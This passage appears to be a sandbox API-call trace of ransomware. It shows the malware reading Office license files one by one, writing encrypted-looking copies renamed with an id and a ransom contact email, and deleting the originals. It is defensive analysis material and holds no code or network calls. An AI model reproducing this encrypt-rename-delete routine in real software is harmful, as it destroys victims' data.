(lpString=".docx") returned 5 [0193.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.056] lstrlenW (lpString=".pdf") returned 4 [0193.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString=".xls") returned 4 [0193.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString=".xlsx") returned 5 [0193.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.056] lstrlenW (lpString=".ppt") returned 4 [0193.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.056] lstrlenW (lpString=".zip") returned 4 [0193.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.057] lstrlenW (lpString=".rar") returned 4 [0193.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.057] lstrlenW (lpString=".bz2") returned 4 [0193.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.057] lstrlenW (lpString=".7z") returned 3 [0193.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.057] lstrlenW (lpString=".dbf") returned 4 [0193.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.057] lstrlenW (lpString=".1cd") returned 4 [0193.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.057] lstrlenW (lpString=".jpg") returned 4 [0193.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.057] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.057] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36 [0193.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.058] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3211) returned 1 [0193.058] CloseHandle (hObject=0x450) returned 1 [0193.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0193.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.059] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.059] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.059] GetLastError () returned 0x0 [0193.059] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xc8b, lpOverlapped=0x0) returned 1 [0193.290] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xc90, lpOverlapped=0x0) returned 1 [0193.477] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.477] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0193.477] SetEndOfFile (hFile=0x520) returned 1 [0193.477] CloseHandle (hObject=0x520) returned 1 [0193.477] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.477] SetEndOfFile (hFile=0x450) returned 1 [0193.480] CloseHandle (hObject=0x450) returned 1 [0193.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.481] lstrlenW (lpString=".doc") returned 4 [0193.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString=".docx") returned 5 [0193.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.481] lstrlenW (lpString=".pdf") returned 4 [0193.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString=".xls") returned 4 [0193.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString=".xlsx") returned 5 [0193.481] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.481] lstrlenW (lpString=".ppt") returned 4 [0193.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.481] lstrlenW (lpString=".zip") returned 4 [0193.481] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString=".rar") returned 4 [0193.481] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString=".bz2") returned 4 [0193.481] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString=".7z") returned 3 [0193.481] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.481] lstrlenW (lpString=".dbf") returned 4 [0193.481] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.481] lstrlenW (lpString=".1cd") returned 4 [0193.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.482] lstrlenW (lpString=".jpg") returned 4 [0193.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.482] lstrlenW (lpString=".doc") returned 4 [0193.482] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString=".docx") returned 5 [0193.482] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.482] lstrlenW (lpString=".pdf") returned 4 [0193.482] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString=".xls") returned 4 [0193.482] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString=".xlsx") returned 5 [0193.482] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.482] lstrlenW (lpString=".ppt") returned 4 [0193.482] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.482] lstrlenW (lpString=".zip") returned 4 [0193.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString=".rar") returned 4 [0193.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString=".bz2") returned 4 [0193.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.482] lstrlenW (lpString=".7z") returned 3 [0193.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.483] lstrlenW (lpString=".dbf") returned 4 [0193.483] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.483] lstrlenW (lpString=".1cd") returned 4 [0193.483] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0193.483] lstrlenW (lpString=".jpg") returned 4 [0193.483] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.483] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.483] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0193.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.483] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11589) returned 1 [0193.484] CloseHandle (hObject=0x450) returned 1 [0193.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0193.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.484] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.484] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.485] GetLastError () returned 0x0 [0193.485] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0193.487] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0193.488] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.488] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x108, lpOverlapped=0x0) returned 1 [0193.489] SetEndOfFile (hFile=0x520) returned 1 [0193.489] CloseHandle (hObject=0x520) returned 1 [0193.489] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.489] SetEndOfFile (hFile=0x450) returned 1 [0193.492] CloseHandle (hObject=0x450) returned 1 [0193.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0193.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.493] lstrlenW (lpString=".doc") returned 4 [0193.493] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString=".docx") returned 5 [0193.493] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.493] lstrlenW (lpString=".pdf") returned 4 [0193.493] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString=".xls") returned 4 [0193.493] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString=".xlsx") returned 5 [0193.493] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.493] lstrlenW (lpString=".ppt") returned 4 [0193.493] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.493] lstrlenW (lpString=".zip") returned 4 [0193.493] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString=".rar") returned 4 [0193.493] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString=".bz2") returned 4 [0193.493] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.493] lstrlenW (lpString=".7z") returned 3 [0193.493] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.494] lstrlenW (lpString=".dbf") returned 4 [0193.494] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.494] lstrlenW (lpString=".1cd") returned 4 [0193.494] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.494] lstrlenW (lpString=".jpg") returned 4 [0193.494] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.494] lstrlenW (lpString=".doc") returned 4 [0193.494] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString=".docx") returned 5 [0193.494] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.494] lstrlenW (lpString=".pdf") returned 4 [0193.494] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString=".xls") returned 4 [0193.494] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString=".xlsx") returned 5 [0193.494] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.494] lstrlenW (lpString=".ppt") returned 4 [0193.494] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.494] lstrlenW (lpString=".zip") returned 4 [0193.494] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.495] lstrlenW (lpString=".rar") returned 4 [0193.495] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.495] lstrlenW (lpString=".bz2") returned 4 [0193.495] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.495] lstrlenW (lpString=".7z") returned 3 [0193.495] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.495] lstrlenW (lpString=".dbf") returned 4 [0193.495] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.495] lstrlenW (lpString=".1cd") returned 4 [0193.495] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0193.495] lstrlenW (lpString=".jpg") returned 4 [0193.495] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.495] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.495] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25 [0193.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.496] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10635) returned 1 [0193.496] CloseHandle (hObject=0x450) returned 1 [0193.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0193.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.497] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.497] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.497] GetLastError () returned 0x0 [0193.498] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x298b, lpOverlapped=0x0) returned 1 [0193.499] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2990, lpOverlapped=0x0) returned 1 [0193.501] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.501] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x106, lpOverlapped=0x0) returned 1 [0193.501] SetEndOfFile (hFile=0x520) returned 1 [0193.501] CloseHandle (hObject=0x520) returned 1 [0193.501] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.501] SetEndOfFile (hFile=0x450) returned 1 [0193.504] CloseHandle (hObject=0x450) returned 1 [0193.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0193.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.506] lstrlenW (lpString=".doc") returned 4 [0193.506] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString=".docx") returned 5 [0193.506] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.506] lstrlenW (lpString=".pdf") returned 4 [0193.506] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString=".xls") returned 4 [0193.506] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString=".xlsx") returned 5 [0193.506] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.506] lstrlenW (lpString=".ppt") returned 4 [0193.506] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.506] lstrlenW (lpString=".zip") returned 4 [0193.506] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString=".rar") returned 4 [0193.506] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString=".bz2") returned 4 [0193.506] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString=".7z") returned 3 [0193.506] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.506] lstrlenW (lpString=".dbf") returned 4 [0193.506] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.506] lstrlenW (lpString=".1cd") returned 4 [0193.507] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.507] lstrlenW (lpString=".jpg") returned 4 [0193.507] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0193.507] lstrlenW (lpString=".doc") returned 4 